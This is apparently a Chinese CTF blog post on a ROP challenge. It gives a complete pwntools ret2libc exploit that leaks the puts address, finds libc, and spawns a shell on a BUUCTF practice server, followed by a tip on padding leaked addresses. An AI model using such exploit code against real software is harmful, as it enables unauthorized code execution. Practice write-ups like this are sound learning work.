泄露出来的地址的处理

本文最后更新于:2022年5月30日 凌晨

一道简单的ROP题

但是不是那么简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import*
from LibcSearcher import*
p = remote('node4.buuoj.cn',28006)
#p = process('./rop')
elf = ELF('./rop')
put_plt_addr = elf.plt['puts']
put_got_addr = elf.got['puts']
vuln = 0x4006ad
pop_rdi = 0x400733


payload1 = b'A'*40 + p64(pop_rdi) + p64(put_got_addr) + p64(put_plt_addr) + p64(vuln)

p.recvuntil('story!\n')
p.sendline(payload1)

put_got = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(put_got))
libc = LibcSearcher('puts',put_got)
libc_base = put_got - libc.dump('puts')
sys = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')


payload2 = b'A'*40 + p64(pop_rdi) + p64(binsh) + p64(sys)
p.recv()
p.sendline(payload2)
p.interactive()

接收返回的got地址时,使用

1
2
3
p.recv(6).ljust(8,'\x00')
# or
p.recvline().strip().ljust(8,'\x00')

是正确的
这样可以正确地补上两位\x00
而其他方法,保留\n的都是错误的,会导致地址错误!


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!